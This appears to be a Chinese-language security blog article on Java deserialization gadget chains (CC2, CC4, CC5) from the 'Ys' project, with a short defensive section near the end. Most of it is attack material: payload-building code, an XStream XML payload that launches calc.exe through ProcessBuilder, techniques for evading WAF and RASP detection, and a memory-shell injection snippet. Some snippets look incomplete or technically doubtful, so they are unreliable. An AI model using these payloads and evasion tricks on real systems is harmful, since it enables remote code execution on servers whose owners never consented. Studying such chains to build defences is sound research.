1. Ys项目Gadget链分析背景与核心概念
在Java安全研究领域,Gadget链的构造与分析一直是反序列化漏洞利用的核心技术。Ys项目作为近年来活跃的开源安全研究项目,其收录的Gadget链涵盖了从经典CC链到各种变种组合的完整攻击面。不同于传统的CC(Commons Collections)链分析,Ys项目更注重在实际攻防场景中的灵活运用,特别是在入口点和触发点的多样化改造方面有着独到见解。
Gadget链本质上是一系列可被恶意串联调用的方法调用链,当存在反序列化漏洞时,攻击者通过精心构造的序列化数据,能够触发这些链式调用最终实现RCE(远程代码执行)。以CC2链为例,其核心是利用PriorityQueue的comparator机制,通过TransformingComparator触发InvokerTransformer的反射调用。但在实际渗透测试中,直接使用原生链往往会被安全设备检测拦截,这就需要我们对标准链进行深度改造。
关键提示:现代WAF和RASP产品通常会对标准的CC链特征进行检测,包括常见的Transformer实现类和PriorityQueue的特定使用模式。这也是为什么我们需要研究入口点和触发点的改造技术。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. CC2链原理解析与标准实现
CC2链(Commons Collections 2)是Apache Commons Collections 3.1 - 3.2.1版本中的经典反序列化利用链。其核心组件和工作原理如下:
2.1 关键组件分析
- PriorityQueue:作为链的入口类,通过其
readObject方法触发comparator的比较操作 - TransformingComparator:将比较操作转化为Transformer的转换操作
- InvokerTransformer:通过反射动态调用任意方法
- TemplatesImpl:最终加载恶意字节码的执行载体
2.2 标准调用流程
java复制ObjectInputStream.readObject()
-> PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> TransformingComparator.compare()
-> InvokerTransformer.transform()
-> TemplatesImpl.newTransformer()
-> 恶意字节码执行
2.3 典型实现代码
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TemplatesImpl.class),
new InvokerTransformer("newInstance", null, null),
new InvokerTransformer("getOutputProperties", null, null)
};
ChainedTransformer chain = new ChainedTransformer(transformers);
PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain));
queue.add(1);
queue.add(2);
// 生成序列化payload
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
3. CC4与CC5链的变种特性分析
3.1 CC4链的核心改进
CC4链在CC2的基础上引入了InstantiateTransformer和TrAXFilter的组合,主要改进点包括:
- 摆脱了对
TemplatesImpl的直接依赖 - 利用
TrAXFilter的构造函数自动调用newTransformer() - 通过
InstantiateTransformer动态实例化类
关键代码片段:
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl }
)
};
3.2 CC5链的特殊构造
CC5链采用了完全不同的入口点,主要特点:
- 使用
BadAttributeValueExpException作为入口类 - 依赖
TiedMapEntry.toString()触发链式调用 - 需要配合
LazyMap.get()方法
执行流程:
code复制BadAttributeValueExpException.readObject()
-> valObj.toString()
-> TiedMapEntry.toString()
-> getValue()
-> LazyMap.get()
-> factory.transform()
4. 入口点改造技术与实战应用
4.1 常见入口点改造方案
-
异常类入口:
BadAttributeValueExpExceptionAnnotationInvocationHandlerSerializedMap
-
集合类入口:
HashSetHashMapHashtable
-
代理类入口:
AnnotationInvocationHandler动态代理JdkDynamicAopProxy
4.2 Ys项目中的创新改造
Ys项目贡献了几种独特的入口点改造技术:
案例1:利用BeanPropertyEntry
java复制Map map = new HashMap();
map.put("f"+"oo", new ConstantTransformer(1));
Map lazyMap = LazyMap.decorate(map, transformerChain);
BeanPropertyAccessor accessor = new BeanPropertyAccessor();
BeanPropertyEntry entry = new BeanPropertyEntry(accessor, "foo", lazyMap);
案例2:通过XStream兼容格式
xml复制<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
5. 触发点优化与绕过技术
5.1 常见触发点优化
-
方法调用替换:
- 将常见的
transform()调用替换为evaluate() - 使用
Predicate代替Transformer
- 将常见的
-
反射封装:
- 通过
MethodUtil.invoke()间接调用 - 使用
UnexpectedTypeException包装
- 通过
-
字节码混淆:
- 对关键类名进行Base64编码
- 使用自定义ClassLoader加载
5.2 实战绕过案例
绕过RASP检测的方案:
java复制// 传统方式(易被检测)
Transformer transformer = new InvokerTransformer(
"newTransformer", null, null);
// 改造后方案
Method m = Templates.class.getMethod("newTransformer");
Transformer transformer = new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{m, new Object[0]});
内存马注入技巧:
java复制Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Thread.currentThread().getContextClassLoader()),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"javax.servlet.http.HttpServlet"}),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"service",
new Class[]{ServletRequest.class, ServletResponse.class}})
};
6. 防御方案与检测对抗
6.1 安全防护建议
-
基础防护:
- 升级Commons Collections到4.0+版本
- 使用SerialKiller等安全组件
-
运行时检测:
java复制public class SafeObjectInputStream extends ObjectInputStream { @Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (desc.getName().startsWith("org.apache.commons.collections")) { throw new InvalidClassException("Unauthorized deserialization attempt"); } return super.resolveClass(desc); } } -
JVM级防护:
code复制-Djdk.serialFilter=!org.apache.commons.collections.functors.*
6.2 检测特征提取
针对改造后的Gadget链,安全设备需要关注的新特征:
| 检测维度 | 传统特征 | 改造后特征 |
|---|---|---|
| 类加载模式 | 直接Class.forName() | 通过URLClassLoader间接加载 |
| 反射调用 | 显式Method.invoke() | MethodHandle或LambdaMetafactory |
| 入口类 | PriorityQueue/HashSet | 自定义异常或代理类 |
| 调用深度 | 固定5-7层 | 动态调整(3-15层) |
7. 实战调试技巧与工具链
7.1 调试环境搭建
推荐使用以下工具组合:
-
IDEA远程调试:
code复制-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 -
字节码分析工具:
- JD-GUI
- Bytecode Viewer
- JADX
-
动态分析工具:
- JavaSnoop
- Btrace
7.2 关键断点设置
在分析Gadget链时,这些断点至关重要:
-
反序列化入口:
java复制
ObjectInputStream.readObject() -
反射调用点:
java复制
Method.invoke() Constructor.newInstance() -
类加载点:
java复制
ClassLoader.loadClass() Class.forName()
7.3 内存分析技巧
使用Eclipse MAT分析内存中的Gadget链:
-
查找Transformer链:
code复制SELECT * FROM org.apache.commons.collections.Transformer -
追踪对象引用:
code复制Path to GC Roots > exclude weak/soft references -
分析恶意类:
code复制Reports > Leak Suspects
在真实攻防对抗中,理解这些Gadget链的构造原理不仅有助于攻击方开发更隐蔽的利用方式,也能帮助防御方建立更完善的检测方案。建议研究者在安全环境中进行实验,所有测试代码应当仅在授权范围内使用
